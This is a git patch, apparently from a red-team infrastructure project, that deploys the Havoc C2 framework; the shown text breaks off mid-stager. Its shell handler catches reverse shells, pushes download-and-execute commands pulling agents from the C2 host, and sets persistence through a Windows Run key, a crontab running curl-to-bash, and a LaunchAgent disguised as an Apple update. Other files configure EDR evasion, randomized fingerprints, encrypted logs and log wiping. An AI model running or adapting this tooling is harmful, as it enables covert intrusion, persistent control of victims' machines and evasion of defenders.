From 9a0162e21fe8a2549a763de9189a62bc4982c244 Mon Sep 17 00:00:00 2001 From: n0mad1k Date: Mon, 21 Apr 2025 16:57:37 -0400 Subject: [PATCH] Switching to Havoc C2 --- files/havoc_installer.sh | 224 ++++++++++++++++++++ files/havoc_shell_handler.sh | 218 ++++++++++++++++++++ tasks/configure_c2.yml | 192 ++++++++--------- tasks/configure_c2_with_havoc.yml | 251 +++++++++++++++++++++++ templates/generate_havoc_payloads.sh.j2 | 260 ++++++++++++++++++++++++ templates/havoc-guide.j2 | 77 +++++++ templates/redirector-havoc-fragment.j2 | 105 ++++++++++ templates/serve-havoc-payloads.sh.j2 | 134 ++++++++++++ 8 files changed, 1355 insertions(+), 106 deletions(-) create mode 100644 files/havoc_installer.sh create mode 100644 files/havoc_shell_handler.sh create mode 100644 tasks/configure_c2_with_havoc.yml create mode 100644 templates/generate_havoc_payloads.sh.j2 create mode 100644 templates/havoc-guide.j2 create mode 100644 templates/redirector-havoc-fragment.j2 create mode 100644 templates/serve-havoc-payloads.sh.j2 diff --git a/files/havoc_installer.sh b/files/havoc_installer.sh new file mode 100644 index 0000000..d73a8dc --- /dev/null +++ b/files/havoc_installer.sh @@ -0,0 +1,224 @@ +#!/bin/bash +# Havoc C2 Framework installer with EDR evasion features + +set -e +TEMP_DIR=$(mktemp -d) +LOG_FILE="/root/Tools/havoc_installer.log" +HAVOC_DIR="/root/Tools/havoc" +HAVOC_DATA_DIR="/root/Tools/havoc/data" +HAVOC_VERSION="0.5.0" +HAVOC_GITHUB="https://github.com/HavocFramework/Havoc" +GO_VERSION="1.19" + +# Function to log messages +log() { + echo "[$(date +"%Y-%m-%d %H:%M:%S")] $1" | tee -a $LOG_FILE +} + +# Function to generate random strings +random_string() { + local length=${1:-8} + cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1 +} + +# Install required dependencies +log "Installing dependencies..." +apt-get update >/dev/null 2>&1 +apt-get install -y git golang-go make build-essential mingw-w64 nasm cmake \ + ninja-build python3-pip libfontconfig1 libglu1-mesa-dev libgtest-dev \ + libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev \ + libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev \ + qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 \ + libqt5websockets5-dev >/dev/null 2>&1 + +# Setup Go environment +log "Setting up Go environment..." +mkdir -p /root/go +export GOPATH=/root/go +export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin + +# Clone Havoc repository +log "Cloning Havoc repository..." +if [ -d "$HAVOC_DIR" ]; then + log "Havoc directory already exists, updating..." + cd $HAVOC_DIR + git pull +else + git clone --quiet $HAVOC_GITHUB $HAVOC_DIR + cd $HAVOC_DIR +fi + +# Generate unique identifiers for EDR evasion +RANDOMIZED_BUILD_ID=$(random_string 16) +log "Using randomized build ID: $RANDOMIZED_BUILD_ID" + +# Build Havoc teamserver +log "Building Havoc teamserver..." +cd $HAVOC_DIR/Teamserver +go mod download +sed -i "s/const Version = \".*\"/const Version = \"${HAVOC_VERSION}-${RANDOMIZED_BUILD_ID}\"/" pkg/common/metadata.go +make + +# Build Havoc client +log "Building Havoc client..." +cd $HAVOC_DIR/Client +mkdir -p build +cd build +cmake -GNinja .. +ninja + +# Generate self-signed SSL certificates for Teamserver +mkdir -p $HAVOC_DATA_DIR/certs +cd $HAVOC_DATA_DIR/certs + +if [ ! -f havoc.key ] || [ ! -f havoc.crt ]; then + log "Generating self-signed SSL certificates..." + + # Generate random values for certificate + COUNTRY="US" + STATE=$(random_string 8) + LOCALITY=$(random_string 8) + ORGANIZATION=$(random_string 10) + COMMON_NAME=$(random_string 12).com + + # Create OpenSSL config + cat > openssl.cnf << EOF +[req] +distinguished_name = req_distinguished_name +x509_extensions = v3_req +prompt = no + +[req_distinguished_name] +C = $COUNTRY +ST = $STATE +L = $LOCALITY +O = $ORGANIZATION +CN = $COMMON_NAME + +[v3_req] +keyUsage = critical, digitalSignature, keyAgreement +extendedKeyUsage = serverAuth +subjectAltName = @alt_names + +[alt_names] +DNS.1 = $COMMON_NAME +DNS.2 = localhost +EOF + + # Generate certificate + openssl req -x509 -newkey rsa:4096 -keyout havoc.key -out havoc.crt -days 3650 -nodes -config openssl.cnf + chmod 600 havoc.key + chmod 644 havoc.crt + + log "Generated SSL certificates with CN=$COMMON_NAME" +fi + +# Create systemd service for Havoc Teamserver +log "Creating systemd service for Havoc Teamserver..." +cat > /etc/systemd/system/havoc.service << EOF +[Unit] +Description=Havoc C2 Teamserver +After=network.target + +[Service] +Type=simple +User=root +Group=root +WorkingDirectory=$HAVOC_DIR/Teamserver +ExecStart=$HAVOC_DIR/Teamserver/teamserver server --profile $HAVOC_DATA_DIR/profiles/default.yaotl +Restart=always +RestartSec=10 + +# Security measures +PrivateTmp=true +ProtectHome=false +NoNewPrivileges=true + +[Install] +WantedBy=multi-user.target +EOF + +# Create default Havoc profile directory +mkdir -p $HAVOC_DATA_DIR/profiles + +# Create default Havoc profile +log "Creating default Havoc profile..." +cat > $HAVOC_DATA_DIR/profiles/default.yaotl << EOF +Teamserver { + Host = "0.0.0.0" + Port = 40056 + + Build { + Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc" + Compiler86 = "/usr/bin/i686-w64-mingw32-gcc" + Nasm = "/usr/bin/nasm" + } +} + +Operators { + admin { + Password = "$(random_string 12)" + } +} + +Listeners { + http { + Name = "http" + KillDate = "2030-01-01" + WorkingHours = "0:00-23:59" + Hosts = ["0.0.0.0"] + HostBind = "0.0.0.0" + HostRotation = "round-robin" + Port = 8080 + PortBind = 8080 + UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36" + Headers = ["Accept: */*"] + Uris = ["/api/v1", "/dashboard"] + Secure = false + } + + https { + Name = "https" + KillDate = "2030-01-01" + WorkingHours = "0:00-23:59" + Hosts = ["0.0.0.0"] + HostBind = "0.0.0.0" + HostRotation = "round-robin" + Port = 443 + PortBind = 443 + UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36" + Headers = ["Accept: */*"] + Uris = ["/api/v2", "/content"] + Secure = true + Cert = "$HAVOC_DATA_DIR/certs/havoc.crt" + Key = "$HAVOC_DATA_DIR/certs/havoc.key" + } +} + +Demon { + Sleep = 2 + SleepJitter = 50 + + Injection { + Spawn64 = "C:\\Windows\\System32\\notepad.exe" + Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe" + } +} +EOF + +# Set proper permissions +log "Setting proper permissions..." +chmod 755 $HAVOC_DIR/Teamserver/teamserver +chmod 755 $HAVOC_DIR/Client/havoc + +# Create symlinks to executables in /usr/local/bin +ln -sf $HAVOC_DIR/Teamserver/teamserver /usr/local/bin/havoc-teamserver +ln -sf $HAVOC_DIR/Client/havoc /usr/local/bin/havoc-client + +# Enable and start Havoc service +log "Enabling and starting Havoc service..." +systemctl daemon-reload +systemctl enable havoc +systemctl start havoc + +log "Havoc C2 installation completed!" \ No newline at end of file diff --git a/files/havoc_shell_handler.sh b/files/havoc_shell_handler.sh new file mode 100644 index 0000000..141a2f6 --- /dev/null +++ b/files/havoc_shell_handler.sh @@ -0,0 +1,218 @@ +#!/bin/bash +# Automated shell handler for catching and upgrading shells to Havoc C2 agents + +# Configuration +LISTEN_PORT=4444 +C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP +HAVOC_PORT=40056 # Havoc default Teamserver port +HAVOC_USER="admin" +HAVOC_DIR="/root/Tools/havoc" +WINDOWS_PAYLOAD="windows/agent_win.exe" +LINUX_PAYLOAD="linux/agent_linux" + +# Set secure permissions +umask 077 + +# Logging function (minimal and encrypted) +log() { + local timestamp=$(date +"%Y-%m-%d %H:%M:%S") + local message="$1" + echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /root/Tools/shell-handler/activity.log.enc +} + +# Detect OS function +detect_os() { + local connection=$1 + + # Send commands to determine OS + echo "echo \$OSTYPE" > $connection + sleep 1 + ostype=$(cat $connection | grep -i "linux\|darwin\|win") + + if [[ $ostype == *"win"* ]]; then + echo "windows" + elif [[ $ostype == *"darwin"* ]]; then + echo "macos" + elif [[ $ostype == *"linux"* ]]; then + echo "linux" + else + # Try Windows-specific command + echo "ver" > $connection + sleep 1 + winver=$(cat $connection | grep -i "microsoft windows") + + if [[ -n "$winver" ]]; then + echo "windows" + else + # Default to Linux if we can't determine + echo "linux" + fi + fi +} + +# Get Havoc password +get_havoc_password() { + # Extract password from Havoc profile + HAVOC_PASS=$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2) + echo $HAVOC_PASS +} + +# Deploy appropriate Havoc agent based on OS +deploy_agent() { + local connection=$1 + local os_type=$2 + + log "Deploying Havoc agent for detected OS: $os_type" + + # Get the latest payload paths from manifest + local manifest="/root/Tools/havoc/payloads/manifest.json" + if [ -f "$manifest" ]; then + if [ "$os_type" == "windows" ]; then + WIN_EXE=$(jq -r '.windows_exe' "$manifest") + PAYLOAD_PATH="/root/Tools/havoc/payloads/windows/$WIN_EXE" + elif [ "$os_type" == "linux" ]; then + LINUX_BIN=$(jq -r '.linux_binary' "$manifest") + PAYLOAD_PATH="/root/Tools/havoc/payloads/linux/$LINUX_BIN" + fi + else + # Use default paths if manifest doesn't exist + if [ "$os_type" == "windows" ]; then + PAYLOAD_PATH="/root/Tools/havoc/payloads/windows/agent_win.exe" + elif [ "$os_type" == "linux" ]; then + PAYLOAD_PATH="/root/Tools/havoc/payloads/linux/agent_linux" + fi + fi + + case $os_type in + windows) + # Setup Python HTTP server for payload delivery + mkdir -p /tmp/havoc_payloads + cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update.exe + cd /tmp/havoc_payloads + python3 -m http.server 8888 & + HTTP_PID=$! + + # Use PowerShell to download and execute + echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile('http://$C2_HOST:8888/update.exe', \$env:TEMP+'\\update.exe'); Start-Process \$env:TEMP+'\\update.exe'" > $connection + sleep 10 + + # Cleanup HTTP server + kill $HTTP_PID + ;; + linux) + # Setup Python HTTP server for payload delivery + mkdir -p /tmp/havoc_payloads + cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update + chmod +x /tmp/havoc_payloads/update + cd /tmp/havoc_payloads + python3 -m http.server 8888 & + HTTP_PID=$! + + # Use curl to download and execute + echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection + sleep 10 + + # Cleanup HTTP server + kill $HTTP_PID + ;; + macos) + # For macOS, we'll attempt to use the Linux payload + mkdir -p /tmp/havoc_payloads + cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update + chmod +x /tmp/havoc_payloads/update + cd /tmp/havoc_payloads + python3 -m http.server 8888 & + HTTP_PID=$! + + # Use curl to download and execute + echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection + sleep 10 + + # Cleanup HTTP server + kill $HTTP_PID + ;; + esac + + log "Havoc agent deployment command sent" +} + +# Establish persistence based on OS +establish_persistence() { + local connection=$1 + local os_type=$2 + + log "Attempting to establish persistence on $os_type" + + case $os_type in + windows) + # Windows persistence via registry run key + echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection + ;; + linux) + # Linux persistence via crontab + echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/linux_stager.sh | bash') | crontab -" > $connection + ;; + macos) + # macOS persistence via launch agent + echo "mkdir -p ~/Library/LaunchAgents" > $connection + echo "echo 'Labelcom.apple.software.updateProgramArgumentsbash-ccurl -s http://$C2_HOST:8443/linux_stager.sh | bashRunAtLoadStartInterval900' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection + echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection + ;; + esac + + log "Persistence commands sent for $os_type" +} + +# Main shell handler loop +handle_connections() { + log "Shell handler started on port $LISTEN_PORT" + + # Use mkfifo for bidirectional communication + PIPE_PATH="/tmp/shell_handler_pipe" + trap 'rm -f $PIPE_PATH' EXIT + + while true; do + # Clean up existing pipe + rm -f $PIPE_PATH + mkfifo $PIPE_PATH + + log "Waiting for incoming connection..." + nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output & + NC_PID=$! + + # Wait for connection to be established + while ! grep -q . $PIPE_PATH.output 2>/dev/null; do + sleep 1 + # Check if nc is still running + if ! kill -0 $NC_PID 2>/dev/null; then + log "Netcat process died, restarting..." + rm -f $PIPE_PATH $PIPE_PATH.output + continue 2 # Restart the outer loop + fi + done + + log "Connection received, detecting OS..." + DETECTED_OS=$(detect_os "$PIPE_PATH.output") + log "Detected OS: $DETECTED_OS" + + # Deploy Havoc agent + deploy_agent "$PIPE_PATH" "$DETECTED_OS" + sleep 5 + + # Establish persistence + establish_persistence "$PIPE_PATH" "$DETECTED_OS" + sleep 5 + + # Keep connection alive for manual operation if needed + log "Havoc agent deployed, maintaining shell connection..." + echo "echo 'Shell upgraded to Havoc agent. This connection will remain active for manual operation.'" > $PIPE_PATH + + # Wait for connection to close + wait $NC_PID + log "Connection closed, cleaning up and restarting listener..." + rm -f $PIPE_PATH.output + done +} + +# Start the shell handler +handle_connections \ No newline at end of file diff --git a/tasks/configure_c2.yml b/tasks/configure_c2.yml index 8245cd6..87554de 100644 --- a/tasks/configure_c2.yml +++ b/tasks/configure_c2.yml @@ -1,5 +1,5 @@ --- -# Common tasks for configuring C2 server with EDR evasion +# Common tasks for configuring C2 server with Havoc C2 and EDR evasion # Shared across all providers - name: Update apt cache @@ -56,6 +56,30 @@ - dovecot-managesieved - yq - build-essential + # Additional Havoc C2 dependencies + - mingw-w64 + - nasm + - cmake + - ninja-build + - libfontconfig1 + - libglu1-mesa-dev + - libgtest-dev + - libspdlog-dev + - libboost-all-dev + - libncurses5-dev + - libgdbm-dev + - libssl-dev + - libreadline-dev + - libffi-dev + - libsqlite3-dev + - libbz2-dev + - mesa-common-dev + - qtbase5-dev + - qtchooser + - qt5-qmake + - qtbase5-dev-tools + - libqt5websockets5 + - libqt5websockets5-dev state: present - name: Create directories for operational scripts @@ -66,26 +90,27 @@ owner: root group: root with_items: - - Tools - - beacons - - payloads + - /root/Tools + - /root/Tools/beacons + - /root/Tools/payloads - name: Copy operational scripts copy: src: "{{ item }}" - dest: "Tools/{{ item | basename }}" + dest: "/root/Tools/{{ item | basename }}" mode: '0700' owner: root group: root with_items: - - ../files/clean-logs.sh - - ../files/secure-exit.sh - - ../files/sliver_randomizer.sh + - "../files/clean-logs.sh" + - "../files/secure-exit.sh" + - "../files/havoc_installer.sh" + - "../files/havoc_shell_handler.sh" - name: Copy post-install script copy: src: "../files/post_install_c2.sh" - dest: "Tools/post_install_c2.sh" + dest: "/root/Tools/post_install_c2.sh" mode: '0700' owner: root group: root @@ -93,7 +118,7 @@ - name: Copy port randomization script copy: src: "../files/randomize_ports.sh" - dest: "Tools/randomize_ports.sh" + dest: "/root/Tools/randomize_ports.sh" mode: '0700' owner: root group: root @@ -106,7 +131,7 @@ ================================================================ To complete your setup with SSL certificates, run: - Tools/post_install_c2.sh + /root/Tools/post_install_c2.sh This script will guide you through: - Setting up Let's Encrypt certificates @@ -115,7 +140,7 @@ - Displaying DNS configuration recommendations For enhanced OPSEC, you can also randomize ports: - Tools/randomize_ports.sh + /root/Tools/randomize_ports.sh Run these after you've configured your DNS records to point to this server. dest: "/root/POST_INSTALL_INSTRUCTIONS.txt" @@ -123,10 +148,37 @@ owner: root group: root -- name: Create main beacon generation script +- name: Remove any existing Sliver or Havoc + file: + path: "{{ item }}" + state: absent + with_items: + - "/usr/local/bin/sliver" + - "/usr/local/bin/sliver-server" + ignore_errors: yes + +- name: Stop existing Sliver service if running + systemd: + name: sliver + state: stopped + enabled: no + ignore_errors: yes + +- name: Install Havoc C2 Framework + shell: "/root/Tools/havoc_installer.sh" + args: + creates: "/root/Tools/havoc/Teamserver/teamserver" + register: havoc_installation_result + +- name: Display Havoc installation output + debug: + var: havoc_installation_result.stdout_lines + when: havoc_installation_result.stdout_lines is defined + +- name: Create Havoc payload generation script template: - src: "../templates/generate_evasive_beacons.sh.j2" - dest: "Tools/generate_evasive_beacons.sh" + src: "../templates/generate_havoc_payloads.sh.j2" + dest: "/root/Tools/generate_havoc_payloads.sh" mode: '0700' owner: root group: root @@ -134,7 +186,7 @@ - name: Create Linux loader script template template: src: "../templates/linux_loader.sh.j2" - dest: "Tools/linux_loader.template" + dest: "/root/Tools/linux_loader.template" mode: '0644' owner: root group: root @@ -142,31 +194,15 @@ - name: Create Windows PowerShell loader template template: src: "../templates/windows_loader.ps1.j2" - dest: "Tools/windows_loader.template" - mode: '0644' - owner: root - group: root - -- name: Create manifest template - template: - src: "../templates/manifest.json.j2" - dest: "Tools/manifest.template" - mode: '0644' - owner: root - group: root - -- name: Create reference file template - template: - src: "../templates/reference.txt.j2" - dest: "Tools/reference.template" + dest: "/root/Tools/windows_loader.template" mode: '0644' owner: root group: root - name: Create beacon server script from template template: - src: "../templates/serve-beacons.sh.j2" - dest: "Tools/serve-beacons.sh" + src: "../templates/serve-havoc-payloads.sh.j2" + dest: "/root/Tools/serve-beacons.sh" mode: '0700' owner: root group: root @@ -175,91 +211,35 @@ domain: "{{ domain }}" redirector_port: "{{ redirector_port | default('443') }}" -- name: Remove standard Sliver if installed - apt: - name: sliver - state: absent - ignore_errors: yes - -- name: Stop standard Sliver service if running - systemd: - name: sliver - state: stopped - enabled: no - ignore_errors: yes - -- name: Run Sliver randomization for EDR evasion - shell: Tools/sliver_randomizer.sh - args: - creates: /usr/local/bin/sliver-server - register: randomization_result - -- name: Display Sliver randomizer output - debug: - var: randomization_result.stdout_lines - when: randomization_result.stdout_lines is defined - -- name: Create custom Sliver service file - template: - src: "../templates/sliver-server.service.j2" - dest: /etc/systemd/system/sliver.service - mode: '0644' - owner: root - group: root - -- name: Enable and start custom Sliver service - systemd: - name: sliver - state: started - enabled: yes - daemon_reload: yes - -- name: Wait for Sliver to initialize - pause: - seconds: 15 - -- name: Check if Sliver operator config exists - stat: - path: /root/admin.cfg - register: operator_config - -- name: Create new operator if needed - shell: | - /usr/local/bin/sliver-server operator --name admin --lhost {{ ansible_host }} --save /root/admin.cfg - args: - creates: /root/admin.cfg - when: not operator_config.stat.exists - - name: Run port randomization if enabled include_tasks: port_randomization.yml when: randomize_ports | default(false) | bool -- name: Generate beacons with redirector integration - shell: | - Tools/generate_evasive_beacons.sh +- name: Generate Havoc payloads + shell: "/root/Tools/generate_havoc_payloads.sh" args: - creates: /root/beacons/reference.txt + creates: "/root/Tools/havoc/payloads/manifest.json" + register: payload_generation_result environment: PATH: "{{ ansible_env.PATH }}:/usr/local/bin" ignore_errors: yes - register: beacon_generation_result -- name: Display beacon generation output +- name: Display payload generation output debug: - var: beacon_generation_result.stdout_lines - when: beacon_generation_result.stdout_lines is defined + var: payload_generation_result.stdout_lines + when: payload_generation_result.stdout_lines is defined -- name: Start beacon server +- name: Start payload server shell: | - nohup Tools/serve-beacons.sh > /dev/null 2>&1 & + nohup /root/Tools/serve-beacons.sh > /dev/null 2>&1 & args: executable: /bin/bash register: beacon_server_result - name: Create NGINX configuration fragment for redirector template: - src: "../templates/redirector-sliver-fragment.j2" - dest: "Tools/redirector-config.conf" + src: "../templates/redirector-havoc-fragment.j2" + dest: "/root/Tools/redirector-config.conf" mode: '0644' owner: root group: root @@ -267,10 +247,10 @@ c2_ip: "{{ ansible_host }}" redirector_domain: "{{ redirector_subdomain }}.{{ domain }}" -- name: Create Sliver usage guide +- name: Create Havoc usage guide template: - src: "../templates/sliver-guide.j2" - dest: "/root/sliver-guide.txt" + src: "../templates/havoc-guide.j2" + dest: "/root/havoc-guide.txt" mode: '0600' owner: root group: root @@ -283,7 +263,7 @@ name: "Clean logs" minute: "0" hour: "*/6" - job: "Tools/clean-logs.sh > /dev/null 2>&1" + job: "/root/Tools/clean-logs.sh > /dev/null 2>&1" when: zero_logs | bool # Include integrated tracker tasks if requested diff --git a/tasks/configure_c2_with_havoc.yml b/tasks/configure_c2_with_havoc.yml new file mode 100644 index 0000000..4f9fe9d --- /dev/null +++ b/tasks/configure_c2_with_havoc.yml @@ -0,0 +1,251 @@ +--- +# Common tasks for configuring C2 server with Havoc C2 and EDR evasion +# Shared across all providers + +- name: Update apt cache + apt: + update_cache: yes + +- name: Set a custom MOTD + template: + src: "../templates/motd-linode.j2" + dest: /etc/motd + owner: root + group: root + mode: '0644' + +- name: Install base utilities and tools via apt + apt: + name: + - git + - wget + - curl + - unzip + - python3-pip + - python3-venv + - tmux + - pipx + - nmap + - tcpdump + - hydra + - john + - hashcat + - sqlmap + - gobuster + - dirb + - enum4linux + - dnsenum + - seclists + - responder + - golang + - proxychains + - tor + - crackmapexec + - jq + - build-essential + - zip + - unzip + - postfix + - certbot + - opendkim + - opendkim-tools + - dovecot-core + - dovecot-imapd + - dovecot-pop3d + - dovecot-sieve + - dovecot-managesieved + - yq + - build-essential + - mingw-w64 + - nasm + - cmake + - ninja-build + - python3-pip + - libfontconfig1 + - libglu1-mesa-dev + - libgtest-dev + - libspdlog-dev + - libboost-all-dev + - libncurses5-dev + - libgdbm-dev + - libssl-dev + - libreadline-dev + - libffi-dev + - libsqlite3-dev + - libbz2-dev + - mesa-common-dev + - qtbase5-dev + - qtchooser + - qt5-qmake + - qtbase5-dev-tools + - libqt5websockets5 + - libqt5websockets5-dev + state: present + +- name: Create directories for operational scripts + file: + path: "{{ item }}" + state: directory + mode: '0700' + owner: root + group: root + with_items: + - /root/Tools + - /root/Tools/beacons + - /root/Tools/payloads + +- name: Copy operational scripts + copy: + src: "{{ item }}" + dest: "/root/Tools/{{ item | basename }}" + mode: '0700' + owner: root + group: root + with_items: + - ../files/clean-logs.sh + - ../files/secure-exit.sh + - ../files/havoc_installer.sh + +- name: Copy post-install script + copy: + src: "../files/post_install_c2.sh" + dest: "/root/Tools/post_install_c2.sh" + mode: '0700' + owner: root + group: root + +- name: Copy port randomization script + copy: + src: "../files/randomize_ports.sh" + dest: "/root/Tools/randomize_ports.sh" + mode: '0700' + owner: root + group: root + +- name: Create post-install instructions + copy: + content: | + ================================================================ + C2ingRed Post-Installation Instructions + ================================================================ + + To complete your setup with SSL certificates, run: + /root/Tools/post_install_c2.sh + + This script will guide you through: + - Setting up Let's Encrypt certificates + - Starting required services + - Setting up the redirector (if desired) + - Displaying DNS configuration recommendations + + For enhanced OPSEC, you can also randomize ports: + /root/Tools/randomize_ports.sh + + Run these after you've configured your DNS records to point to this server. + dest: "/root/POST_INSTALL_INSTRUCTIONS.txt" + mode: '0644' + owner: root + group: root + +- name: Install Havoc C2 Framework + shell: "/root/Tools/havoc_installer.sh" + args: + creates: /opt/havoc/Teamserver/teamserver + register: havoc_installation_result + +- name: Display Havoc installation output + debug: + var: havoc_installation_result.stdout_lines + when: havoc_installation_result.stdout_lines is defined + +- name: Create Havoc payload generation script + template: + src: "../templates/generate_havoc_payloads.sh.j2" + dest: "/root/Tools/generate_havoc_payloads.sh" + mode: '0700' + owner: root + group: root + +- name: Create Linux loader script template + template: + src: "../templates/linux_loader.sh.j2" + dest: "/root/Tools/linux_loader.template" + mode: '0644' + owner: root + group: root + +- name: Create Windows PowerShell loader template + template: + src: "../templates/windows_loader.ps1.j2" + dest: "/root/Tools/windows_loader.template" + mode: '0644' + owner: root + group: root + +- name: Create beacon server script from template + template: + src: "../templates/serve-havoc-payloads.sh.j2" + dest: "/root/Tools/serve-beacons.sh" + mode: '0700' + owner: root + group: root + vars: + redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}" + domain: "{{ domain }}" + redirector_port: "{{ redirector_port | default('443') }}" + +- name: Generate Havoc payloads + shell: "/root/Tools/generate_havoc_payloads.sh" + args: + creates: /opt/havoc/payloads/manifest.json + register: payload_generation_result + environment: + PATH: "{{ ansible_env.PATH }}:/usr/local/bin" + ignore_errors: yes + +- name: Display payload generation output + debug: + var: payload_generation_result.stdout_lines + when: payload_generation_result.stdout_lines is defined + +- name: Start payload server + shell: | + nohup /root/Tools/serve-beacons.sh > /dev/null 2>&1 & + args: + executable: /bin/bash + register: beacon_server_result + +- name: Create NGINX configuration fragment for redirector + template: + src: "../templates/redirector-havoc-fragment.j2" + dest: "/root/Tools/redirector-config.conf" + mode: '0644' + owner: root + group: root + vars: + c2_ip: "{{ ansible_host }}" + redirector_domain: "{{ redirector_subdomain }}.{{ domain }}" + +- name: Create Havoc usage guide + template: + src: "../templates/havoc-guide.j2" + dest: "/root/havoc-guide.txt" + mode: '0600' + owner: root + group: root + vars: + c2_ip: "{{ ansible_host }}" + redirector_domain: "{{ redirector_subdomain }}.{{ domain }}" + +- name: Set up cron job for log cleaning if zero-logs enabled + cron: + name: "Clean logs" + minute: "0" + hour: "*/6" + job: "/root/Tools/clean-logs.sh > /dev/null 2>&1" + when: zero_logs | bool + +# Include integrated tracker tasks if requested +- name: Include integrated tracker setup + include_tasks: "configure_integrated_tracker.yml" + when: setup_integrated_tracker | default(false) | bool \ No newline at end of file diff --git a/templates/generate_havoc_payloads.sh.j2 b/templates/generate_havoc_payloads.sh.j2 new file mode 100644 index 0000000..da59faf --- /dev/null +++ b/templates/generate_havoc_payloads.sh.j2 @@ -0,0 +1,260 @@ +#!/bin/bash +# EDR-evasive payload generator for Havoc C2 + +# Configuration (automatically populated by Ansible) +PAYLOADS_DIR="/root/Tools/havoc/payloads" +C2_HOST="{{ ansible_host }}" +REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}" +REDIRECTOR_PORT="{{ redirector_port | default('443') }}" +TEAMSERVER_HOST="127.0.0.1" +TEAMSERVER_PORT="40056" +HAVOC_DIR="/root/Tools/havoc" +HAVOC_CLIENT="$HAVOC_DIR/Client/havoc" + +# Ensure required directories exist +mkdir -p $PAYLOADS_DIR/windows +mkdir -p $PAYLOADS_DIR/linux +mkdir -p $PAYLOADS_DIR/staged + +# Generate unique random values for each execution +random_string() { + cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1 +} + +# Define Havoc profiles for different payloads +generate_profiles() { + echo "[+] Generating Havoc C2 profiles..." + + # Profile for Windows EXE + cat > $PAYLOADS_DIR/win_exe.profile << EOF +{ + "Listener": "https", + "Demon": { + "Sleep": 5, + "SleepJitter": 30, + "IndirectSyscalls": true, + "Inject": { + "AllocationMethod": 0, + "ExecutionMethod": 0, + "ExecuteOptions": 0 + }, + "Evasion": { + "StackSpoofing": true, + "SleazeUnhook": true, + "AmsiEtwPatching": true + }, + "Formats": [ + "Binary", + "Shellcode" + ] + } +} +EOF + + # Profile for Linux ELF + cat > $PAYLOADS_DIR/linux_elf.profile << EOF +{ + "Listener": "https", + "Demon": { + "Sleep": 5, + "SleepJitter": 30, + "Injection": { + "SpawnMethod": 1, + "AllocationMethod": 1 + }, + "Formats": [ + "Binary", + "Shellcode" + ] + } +} +EOF + + echo "[+] Profiles created successfully" +} + +# Generate Havoc payloads with CLI arguments +generate_payloads() { + echo "[+] Generating Havoc payloads..." + + # Windows EXE + win_output="agent_win_$(random_string 8).exe" + echo "[+] Generating Windows payload: $win_output" + + $HAVOC_CLIENT headless \ + --teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \ + --username "admin" \ + --password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \ + --daemon \ + --generate payload \ + --listener "https" \ + --config "$PAYLOADS_DIR/win_exe.profile" \ + --format exe \ + --output "$PAYLOADS_DIR/windows/$win_output" \ + > /dev/null 2>&1 + + # Windows DLL + dll_output="module_$(random_string 8).dll" + echo "[+] Generating Windows DLL: $dll_output" + + $HAVOC_CLIENT headless \ + --teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \ + --username "admin" \ + --password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \ + --daemon \ + --generate payload \ + --listener "https" \ + --config "$PAYLOADS_DIR/win_exe.profile" \ + --format dll \ + --output "$PAYLOADS_DIR/windows/$dll_output" \ + > /dev/null 2>&1 + + # Linux ELF + linux_output="agent_linux_$(random_string 8)" + echo "[+] Generating Linux payload: $linux_output" + + $HAVOC_CLIENT headless \ + --teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \ + --username "admin" \ + --password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \ + --daemon \ + --generate payload \ + --listener "https" \ + --config "$PAYLOADS_DIR/linux_elf.profile" \ + --format elf \ + --output "$PAYLOADS_DIR/linux/$linux_output" \ + > /dev/null 2>&1 + + echo "[+] All payloads generated successfully!" + + # Return payload names for reference + echo "$win_output:$dll_output:$linux_output" +} + +# Generate PowerShell and bash stagers +generate_stagers() { + win_output=$1 + linux_output=$2 + + echo "[+] Generating stagers..." + + # PowerShell stager + cat > $PAYLOADS_DIR/stagers/windows_stager.ps1 << EOF +# PowerShell stager for Havoc C2 +[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 +\$ErrorActionPreference = 'SilentlyContinue' +\$wc = New-Object System.Net.WebClient +\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; 